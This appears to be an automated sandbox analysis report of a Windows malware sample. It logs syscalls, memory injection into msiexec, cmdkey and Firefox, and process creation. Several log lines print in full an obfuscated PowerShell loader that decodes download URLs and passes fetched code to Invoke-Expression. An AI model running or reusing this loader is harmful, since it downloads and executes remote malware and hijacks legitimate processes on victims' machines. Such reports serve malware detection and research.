Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmdkey.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\cmdkey.exe

Thread register set: target process: 7084

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 4030000

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\PING.EXE ping gormezl_6777.6777.6777.677e	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" " <#versfods pudser ringmrknings gonitis recuperability saggio doceret #>;$homoplasy='stenkulsnaftas';<#rejicer amanuensiser manticory #>;$feminisere=$oversalts+$host.ui; function naturvrdi($unmannerliness){if ($feminisere) {$varens++;}$uenigst=$etymologiserendes+$unmannerliness.'length'-$varens; for( $erhold=4;$erhold -lt $uenigst;$erhold+=5){$generationsprojekters=$erhold;$lucuma+=$unmannerliness[$erhold];$bergensisk='costively';}$lucuma;}function furnage($lokummet){ & ($brneballet) ($lokummet);}$prereceived=naturvrdi 'malim atio hi,zsp.lifibrlbagmltilkaexte/rytt ';$prereceived+=naturvrdi ' kyl5r,ek.bran0neut fo b(berewafm i quanfl.ld brsoestawunlusc ch appensphet et howd1enek0him .flle0 tje;repr oxy wc diiskadnbesk6abor4call;fors fastxstem6gav.4phan;st.u prodr kiovgdni: ben1grun3v sp1su t.land0st r)m,sc supeghandecatac.uffkr cho vau/su c2 car0 amp1posi0zirk0reg.1fist0d ba1vide f.anfsurvisengrma,kerutef edeoescaxle b/tild1incu3para1inde.tryp0brod ';$teosofis=naturvrdi 'm.deuschnsmicrebeborsprn-tillasandg hage s.enopgatwaba ';$soybean=naturvrdi 'reveh fort.quat.usqpkultspros:pref/ ko./undewkat.wjazzw uda.sh,pgvermrp euostoeuudenpth,or ambi s ea brumpsyc.ud ycpaapopatemcopr/fit.k p roiri,a replafhji emtfeasitermougr nlkkeeproprcyst.comppunsorberrxid n>arabhembltsarotkommp frssanti: ent/pu s/kalabs virdetau emtmo.sa.ent. iscp olilmode/be ekleptote aakruslcur.ifetct,araieteropourn okkecha rsi,h.cocrpsprkrtankx mer>behnhlagdtrevatprofpsludsreso:brug/prop/ geopoptar undoprepmtavieprecnops,t lr eberer dob.actir iveshaug/irrekkineopneua failtri,i rhatankei aveoslatnveroefeudrveli.sammpdownr .eixsnke ';$knulling=naturvrdi 'geom>bagg ';$brneballet=naturvrdi 'hun iincoefri x svu ';$deposito='kalkudsivning';$mantelet70='\spgelseshistories.hov';furnage (naturvrdi 'wo l$ recgr malsab ohersbparaahelll ind:lotapspisr auteopskd ,iriovercfrs,aplanbmainlfiskepres=trai$ frielat nbrunvdumb:ban a bo phelmppr ddi aia.ntrttor a.arr+cloa$dioxmmechadivinudd ttr,ne dlgloptiedybstr ne7lnko0tegn ');furnage (naturvrdi 'smas$percgo erlsau oelanbhjemat aplskyg:advio oksp no.thydrrunfevu unl cceudsvt opp2e cr2fors7laud= h.r$ruelsi dvooverysoldbkorsepunca prkn abl.rvenstlpeptypolbetoiforetpaaf(,ekn$unq kputrnkittu klalnondl.nami.oncnfibrg vid)el e ');furnage (naturvrdi 'stan[ corni che,angtov r.testsko te approm gv ridiappeckrniee tepbesgoakmui batn miltukrlm bacaslannophoapolyg gkkecolprhydr] ood:v gr: ba shogtegramcso ou,avnr.resiundetsympyyumapi,terskrio .agtskreou tac forohammlpa.v asc=oplg voic[swiln.ilbepenkt in .jap,s nuleimdec dpauursirunfaimisstdoo yinfip t.ert ndoundet m,rocrazc k.locounlmou treneyruswp,ddee yn]neur:john:paattplumlr,acsefte1inte2f.os ');$soybean=$optrvlet227[0];$afbrnde=(naturvrdi 'frek$ un gur nl balotetoblimnaskollecze: .hikheteaawaksenwik forebrutlphonokenit negtafb,eearlrr.tenfor,estubsreko=taenn ceme te wpart-ve.do
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" " <#versfods pudser ringmrknings gonitis recuperability saggio doceret #>;$homoplasy='stenkulsnaftas';<#rejicer amanuensiser manticory #>;$feminisere=$oversalts+$host.ui; function naturvrdi($unmannerliness){if ($feminisere) {$varens++;}$uenigst=$etymologiserendes+$unmannerliness.'length'-$varens; for( $erhold=4;$erhold -lt $uenigst;$erhold+=5){$generationsprojekters=$erhold;$lucuma+=$unmannerliness[$erhold];$bergensisk='costively';}$lucuma;}function furnage($lokummet){ & ($brneballet) ($lokummet);}$prereceived=naturvrdi 'malim atio hi,zsp.lifibrlbagmltilkaexte/rytt ';$prereceived+=naturvrdi ' kyl5r,ek.bran0neut fo b(berewafm i quanfl.ld brsoestawunlusc ch appensphet et howd1enek0him .flle0 tje;repr oxy wc diiskadnbesk6abor4call;fors fastxstem6gav.4phan;st.u prodr kiovgdni: ben1grun3v sp1su t.land0st r)m,sc supeghandecatac.uffkr cho vau/su c2 car0 amp1posi0zirk0reg.1fist0d ba1vide f.anfsurvisengrma,kerutef edeoescaxle b/tild1incu3para1inde.tryp0brod ';$teosofis=naturvrdi 'm.deuschnsmicrebeborsprn-tillasandg hage s.enopgatwaba ';$soybean=naturvrdi 'reveh fort.quat.usqpkultspros:pref/ ko./undewkat.wjazzw uda.sh,pgvermrp euostoeuudenpth,or ambi s ea brumpsyc.ud ycpaapopatemcopr/fit.k p roiri,a replafhji emtfeasitermougr nlkkeeproprcyst.comppunsorberrxid n>arabhembltsarotkommp frssanti: ent/pu s/kalabs virdetau emtmo.sa.ent. iscp olilmode/be ekleptote aakruslcur.ifetct,araieteropourn okkecha rsi,h.cocrpsprkrtankx mer>behnhlagdtrevatprofpsludsreso:brug/prop/ geopoptar undoprepmtavieprecnops,t lr eberer dob.actir iveshaug/irrekkineopneua failtri,i rhatankei aveoslatnveroefeudrveli.sammpdownr .eixsnke ';$knulling=naturvrdi 'geom>bagg ';$brneballet=naturvrdi 'hun iincoefri x svu ';$deposito='kalkudsivning';$mantelet70='\spgelseshistories.hov';furnage (naturvrdi 'wo l$ recgr malsab ohersbparaahelll ind:lotapspisr auteopskd ,iriovercfrs,aplanbmainlfiskepres=trai$ frielat nbrunvdumb:ban a bo phelmppr ddi aia.ntrttor a.arr+cloa$dioxmmechadivinudd ttr,ne dlgloptiedybstr ne7lnko0tegn ');furnage (naturvrdi 'smas$percgo erlsau oelanbhjemat aplskyg:advio oksp no.thydrrunfevu unl cceudsvt opp2e cr2fors7laud= h.r$ruelsi dvooverysoldbkorsepunca prkn abl.rvenstlpeptypolbetoiforetpaaf(,ekn$unq kputrnkittu klalnondl.nami.oncnfibrg vid)el e ');furnage (naturvrdi 'stan[ corni che,angtov r.testsko te approm gv ridiappeckrniee tepbesgoakmui batn miltukrlm bacaslannophoapolyg gkkecolprhydr] ood:v gr: ba shogtegramcso ou,avnr.resiundetsympyyumapi,terskrio .agtskreou tac forohammlpa.v asc=oplg voic[swiln.ilbepenkt in .jap,s nuleimdec dpauursirunfaimisstdoo yinfip t.ert ndoundet m,rocrazc k.locounlmou treneyruswp,ddee yn]neur:john:paattplumlr,acsefte1inte2f.os ');$soybean=$optrvlet227[0];$afbrnde=(naturvrdi 'frek$ un gur nl balotetoblimnaskollecze: .hikheteaawaksenwik forebrutlphonokenit negtafb,eearlrr.tenfor,estubsreko=taenn ceme te wpart-ve.do
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" " <#versfods pudser ringmrknings gonitis recuperability saggio doceret #>;$homoplasy='stenkulsnaftas';<#rejicer amanuensiser manticory #>;$feminisere=$oversalts+$host.ui; function naturvrdi($unmannerliness){if ($feminisere) {$varens++;}$uenigst=$etymologiserendes+$unmannerliness.'length'-$varens; for( $erhold=4;$erhold -lt $uenigst;$erhold+=5){$generationsprojekters=$erhold;$lucuma+=$unmannerliness[$erhold];$bergensisk='costively';}$lucuma;}function furnage($lokummet){ & ($brneballet) ($lokummet);}$prereceived=naturvrdi 'malim atio hi,zsp.lifibrlbagmltilkaexte/rytt ';$prereceived+=naturvrdi ' kyl5r,ek.bran0neut fo b(berewafm i quanfl.ld brsoestawunlusc ch appensphet et howd1enek0him .flle0 tje;repr oxy wc diiskadnbesk6abor4call;fors fastxstem6gav.4phan;st.u prodr kiovgdni: ben1grun3v sp1su t.land0st r)m,sc supeghandecatac.uffkr cho vau/su c2 car0 amp1posi0zirk0reg.1fist0d ba1vide f.anfsurvisengrma,kerutef edeoescaxle b/tild1incu3para1inde.tryp0brod ';$teosofis=naturvrdi 'm.deuschnsmicrebeborsprn-tillasandg hage s.enopgatwaba ';$soybean=naturvrdi 'reveh fort.quat.usqpkultspros:pref/ ko./undewkat.wjazzw uda.sh,pgvermrp euostoeuudenpth,or ambi s ea brumpsyc.ud ycpaapopatemcopr/fit.k p roiri,a replafhji emtfeasitermougr nlkkeeproprcyst.comppunsorberrxid n>arabhembltsarotkommp frssanti: ent/pu s/kalabs virdetau emtmo.sa.ent. iscp olilmode/be ekleptote aakruslcur.ifetct,araieteropourn okkecha rsi,h.cocrpsprkrtankx mer>behnhlagdtrevatprofpsludsreso:brug/prop/ geopoptar undoprepmtavieprecnops,t lr eberer dob.actir iveshaug/irrekkineopneua failtri,i rhatankei aveoslatnveroefeudrveli.sammpdownr .eixsnke ';$knulling=naturvrdi 'geom>bagg ';$brneballet=naturvrdi 'hun iincoefri x svu ';$deposito='kalkudsivning';$mantelet70='\spgelseshistories.hov';furnage (naturvrdi 'wo l$ recgr malsab ohersbparaahelll ind:lotapspisr auteopskd ,iriovercfrs,aplanbmainlfiskepres=trai$ frielat nbrunvdumb:ban a bo phelmppr ddi aia.ntrttor a.arr+cloa$dioxmmechadivinudd ttr,ne dlgloptiedybstr ne7lnko0tegn ');furnage (naturvrdi 'smas$percgo erlsau oelanbhjemat aplskyg:advio oksp no.thydrrunfevu unl cceudsvt opp2e cr2fors7laud= h.r$ruelsi dvooverysoldbkorsepunca prkn abl.rvenstlpeptypolbetoiforetpaaf(,ekn$unq kputrnkittu klalnondl.nami.oncnfibrg vid)el e ');furnage (naturvrdi 'stan[ corni che,angtov r.testsko te approm gv ridiappeckrniee tepbesgoakmui batn miltukrlm bacaslannophoapolyg gkkecolprhydr] ood:v gr: ba shogtegramcso ou,avnr.resiundetsympyyumapi,terskrio .agtskreou tac forohammlpa.v asc=oplg voic[swiln.ilbepenkt in .jap,s nuleimdec dpauursirunfaimisstdoo yinfip t.ert ndoundet m,rocrazc k.locounlmou treneyruswp,ddee yn]neur:john:paattplumlr,acsefte1inte2f.os ');$soybean=$optrvlet227[0];$afbrnde=(naturvrdi 'frek$ un gur nl balotetoblimnaskollecze: .hikheteaawaksenwik forebrutlphonokenit negtafb,eearlrr.tenfor,estubsreko=taenn ceme te wpart-ve.do	Jump to behavior

Source: GJFjqeGumqI.exe, 0000000B.00000002.3467460976.0000000001351000.00000002.00000001.00040000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000000.3080810232.0000000001351000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: GJFjqeGumqI.exe, 0000000B.00000002.3467460976.0000000001351000.00000002.00000001.00040000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000000.3080810232.0000000001351000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: GJFjqeGumqI.exe, 0000000B.00000002.3467460976.0000000001351000.00000002.00000001.00040000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000000.3080810232.0000000001351000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: GJFjqeGumqI.exe, 0000000B.00000002.3467460976.0000000001351000.00000002.00000001.00040000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000000.3080810232.0000000001351000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
